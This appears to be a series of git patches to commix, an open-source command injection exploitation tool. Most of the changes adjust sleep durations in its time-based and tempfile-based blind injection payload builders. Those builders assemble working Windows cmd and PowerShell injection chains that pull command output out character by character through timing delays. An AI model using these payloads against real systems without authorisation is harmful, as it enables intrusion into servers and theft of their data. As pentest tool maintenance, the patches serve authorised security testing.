delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
index 94ea471073..58327d60f2 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
@@ -310,15 +310,11 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
- # if settings.VERBOSITY_LEVEL == 0:
- # info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
- # sys.stdout.write("\r" + settings.print_info_msg(info_msg))
- # sys.stdout.flush()
except (KeyboardInterrupt, SystemExit):
if 'cmd' in locals():
# Delete previous shell (text) files (output) from temp.
- print(settings.SINGLE_WHITESPACE)
+ # print(settings.SINGLE_WHITESPACE)
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
@@ -547,9 +543,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- print(settings.SINGLE_WHITESPACE)
print(settings.print_output(output))
- print(settings.SINGLE_WHITESPACE)
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, output)
@@ -573,8 +567,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
except (KeyboardInterrupt, SystemExit):
# Delete previous shell (text) files (output) from temp.
- print(settings.SINGLE_WHITESPACE)
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
+ sys.stdout.write("\r")
raise
except EOFError:
@@ -584,13 +578,13 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
print(settings.print_error_msg(err_msg))
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
+ sys.stdout.write("\r")
raise
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
return False
-
else :
sys.stdout.write("\r")
sys.stdout.flush()
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
index 6f91ee3932..9990b3c32b 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
@@ -23,6 +23,7 @@
from src.thirdparty.six.moves import urllib as _urllib
from src.utils import menu
from src.utils import settings
+from src.utils import common
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.requests import tor
from src.core.requests import proxy
@@ -511,14 +512,11 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese
def export_injection_results(cmd, separator, output, check_how_long):
if output != "" and check_how_long != 0 :
print(settings.SINGLE_WHITESPACE)
- if settings.VERBOSITY_LEVEL == 0:
- print(settings.SINGLE_WHITESPACE)
print(settings.print_output(output))
info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "."
- sys.stdout.write("\n" + settings.print_info_msg(info_msg) + "\n")
+ print(settings.print_info_msg(info_msg))
else:
- if settings.VERBOSITY_LEVEL == 0:
- print(settings.SINGLE_WHITESPACE)
err_msg = common.invalid_cmd_output(cmd)
- sys.stdout.write("\r" + settings.print_error_msg(err_msg) + "\n")
+ print(settings.print_error_msg(err_msg))
+
# eof
\ No newline at end of file
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
index 3801c9bbed..bd145f21ef 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
@@ -399,7 +399,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
"(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE +
"do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
- "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\""
)
elif separator == "&&" :
@@ -409,7 +409,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
"(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE +
"do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
- "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\""
)
else:
@@ -548,7 +548,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
"(Get-Content " + OUTPUT_TEXTFILE + ")\"') "
"do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE +
- "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\""
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec * 2) + "\""
)
elif separator == "&&" :
@@ -558,7 +558,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth
"for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none "
"(Get-Content " + OUTPUT_TEXTFILE + ")\"') "
"do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE +
- "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\""
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec * 2) + "\""
)
else:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 4464e9c856..cebfd30abd 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "93"
+REVISION = "94"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 244632def1aa3a8d1d2e693b82391212447ad62f Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 27 Jun 2022 09:32:28 +0300
Subject: [PATCH 172/560] Fixes
https://github.com/commixproject/commix/issues/772
---
src/utils/common.py | 6 +++---
src/utils/settings.py | 2 +-
2 files changed, 4 insertions(+), 4 deletions(-)
diff --git a/src/utils/common.py b/src/utils/common.py
index 8de209f3d4..9d5268d3a8 100644
--- a/src/utils/common.py
+++ b/src/utils/common.py
@@ -70,7 +70,7 @@ def is_empty():
answer = item.split('=')[1] if len(item.split('=')) > 1 else None
if answer and question.lower() in message.lower():
value = answer
- print(settings.print_message(message + value))
+ print(settings.print_message(message + str(value)))
return value
elif answer is None and value:
return is_empty()
@@ -79,7 +79,7 @@ def is_empty():
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Used the given answer."
print(settings.print_debug_msg(debug_msg))
- print(settings.print_message(message + value))
+ print(settings.print_message(message + str(value)))
return value
elif value is None:
@@ -87,7 +87,7 @@ def is_empty():
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Used the default behavior, running in batch mode."
print(settings.print_debug_msg(debug_msg))
- print(settings.print_message(message + default))
+ print(settings.print_message(message + str(default)))
return default
else:
return is_empty()
diff --git a/src/utils/settings.py b/src/utils/settings.py
index cebfd30abd..2e1b7f4a7b 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "94"
+REVISION = "95"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 32f7c76bd17632f0a1b40d52f248c7f68d655542 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 28 Jun 2022 07:10:01 +0300
Subject: [PATCH 173/560] Minor update
---
.../techniques/time_based/tb_payloads.py | 32 +++++++++----------
.../techniques/tempfile_based/tfb_payloads.py | 32 +++++++++----------
src/utils/settings.py | 2 +-
3 files changed, 33 insertions(+), 33 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py
index fd7a9446cb..4976fa8bdf 100755
--- a/src/core/injections/blind/techniques/time_based/tb_payloads.py
+++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py
@@ -31,7 +31,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method):
payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') "
"do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
- "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\""
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
elif separator == "&&" :
@@ -40,7 +40,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method):
payload = (ampersand +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') "
"do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
- "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\""
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
else:
@@ -103,7 +103,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
- "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\""
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
@@ -114,7 +114,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
- "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\""
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
@@ -185,7 +185,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method):
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
- "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\""
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
elif separator == "&&" :
@@ -195,7 +195,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method):
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
- "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\""
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
else:
@@ -261,7 +261,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
- "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\""
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
elif separator == "&&" :
@@ -271,7 +271,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
- "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\""
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
@@ -339,7 +339,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met
payload = (pipe + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " +
cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
- "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\""
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
elif separator == "&&" :
@@ -348,7 +348,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met
payload = (ampersand +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " +
cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
- "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\""
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
else:
@@ -426,7 +426,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
- "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\""
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
@@ -437,7 +437,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
- "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\""
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
@@ -504,7 +504,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
- "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\""
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
elif separator == "&&" :
@@ -514,7 +514,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
- "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\""
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
else:
@@ -572,7 +572,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
- "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\""
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
elif separator == "&&" :
@@ -582,7 +582,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
- "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\""
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
if separator == ";" :
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
index bd145f21ef..93681e1dab 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
@@ -34,7 +34,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method):
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
"((Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" + settings.SINGLE_WHITESPACE +
"do if %i==" + str(j) + settings.SINGLE_WHITESPACE +
- "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\""
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
elif separator == "&&" :
@@ -45,7 +45,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method):
"for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none "
"((Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" + settings.SINGLE_WHITESPACE +
"do if %i==" + str(j) + settings.SINGLE_WHITESPACE +
- "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\""
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
else:
@@ -118,7 +118,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(j) + settings.SINGLE_WHITESPACE +
- "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\""
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
@@ -128,7 +128,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(j) + settings.SINGLE_WHITESPACE +
- "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\""
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
if separator == ";" :
@@ -204,7 +204,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth
"for /f \"tokens=*\" %y in ('cmd /c \"powershell.exe -InputFormat none "
"([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')"
"do if %y==" + str(j) + settings.SINGLE_WHITESPACE +
- "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" +
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" +
# Transform to ASCII
pipe +
"for /f \"tokens=*\" %x in ('cmd /c \"" +
@@ -221,7 +221,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth
"for /f \"tokens=*\" %y in ('cmd /c \"powershell.exe -InputFormat none "
"([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')"
"do if %y==" + str(j) + settings.SINGLE_WHITESPACE +
- "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" +
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" +
# Transform to ASCII
ampersand +
"for /f \"tokens=*\" %x in ('cmd /c \"" +
@@ -315,7 +315,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(j) + settings.SINGLE_WHITESPACE +
- "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\""
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
@@ -327,7 +327,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(j) + settings.SINGLE_WHITESPACE +
- "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\""
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
if separator == ";" :
@@ -399,7 +399,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
"(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE +
"do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
- "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\""
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
elif separator == "&&" :
@@ -409,7 +409,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
"(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE +
"do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
- "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\""
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
else:
@@ -475,7 +475,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
- "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\""
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
@@ -484,7 +484,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
- "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\""
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
if separator == ";" :
@@ -548,7 +548,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
"(Get-Content " + OUTPUT_TEXTFILE + ")\"') "
"do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE +
- "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec * 2) + "\""
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
elif separator == "&&" :
@@ -558,7 +558,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth
"for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none "
"(Get-Content " + OUTPUT_TEXTFILE + ")\"') "
"do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE +
- "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec * 2) + "\""
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
else:
@@ -617,7 +617,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char,
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
- "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\""
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
@@ -626,7 +626,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char,
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
- "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\""
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
if separator == ";" :
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 2e1b7f4a7b..f58c19f08e 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "95"
+REVISION = "96"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From feec735523394c90d43bba79064810f64c1a19d7 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 29 Jun 2022 07:12:22 +0300
Subject: [PATCH 174/560] Minor update
---
src/utils/purge.py | 7 ++++---
src/utils/settings.py | 2 +-
2 files changed, 5 insertions(+), 4 deletions(-)
diff --git a/src/utils/purge.py b/src/utils/purge.py
index 6c88cffc6a..41d34bfe4c 100644
--- a/src/utils/purge.py
+++ b/src/utils/purge.py
@@ -37,12 +37,13 @@
def purge():
directory = settings.OUTPUT_DIR
if not os.path.isdir(directory):
- warn_msg = "Skipping purging of directory '" + directory + "' as it does not exist."
- print(settings.print_warning_msg(warn_msg))
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Skipping purging of directory '" + directory + "' as it does not exist."
+ print(settings.print_debug_msg(debug_msg))
return
info_msg = "Purging content of directory '" + directory + "'"
if not settings.VERBOSITY_LEVEL != 0:
- info_msg += ". "
+ info_msg += "."
else:
info_msg += ".\n"
sys.stdout.write(settings.print_info_msg(info_msg))
diff --git a/src/utils/settings.py b/src/utils/settings.py
index f58c19f08e..4698e2f901 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "96"
+REVISION = "97"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 5b097659506f77859faf782068ce8604a336ac93 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 30 Jun 2022 09:30:31 +0300
Subject: [PATCH 175/560] Minor update
---
.../blind/techniques/time_based/tb_handler.py | 4 ++--
.../blind/techniques/time_based/tb_injector.py | 7 ++++---
src/core/injections/controller/checks.py | 15 ++++++++-------
.../techniques/tempfile_based/tfb_handler.py | 2 +-
.../techniques/tempfile_based/tfb_injector.py | 7 ++++---
src/utils/settings.py | 2 +-
6 files changed, 20 insertions(+), 17 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py
index ae48ada154..e0de2e2f96 100755
--- a/src/core/injections/blind/techniques/time_based/tb_handler.py
+++ b/src/core/injections/blind/techniques/time_based/tb_handler.py
@@ -209,7 +209,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
# Identified false positive warning message.
if false_positive_warning:
message = "Unexpected time delays have been identified due to unstable "
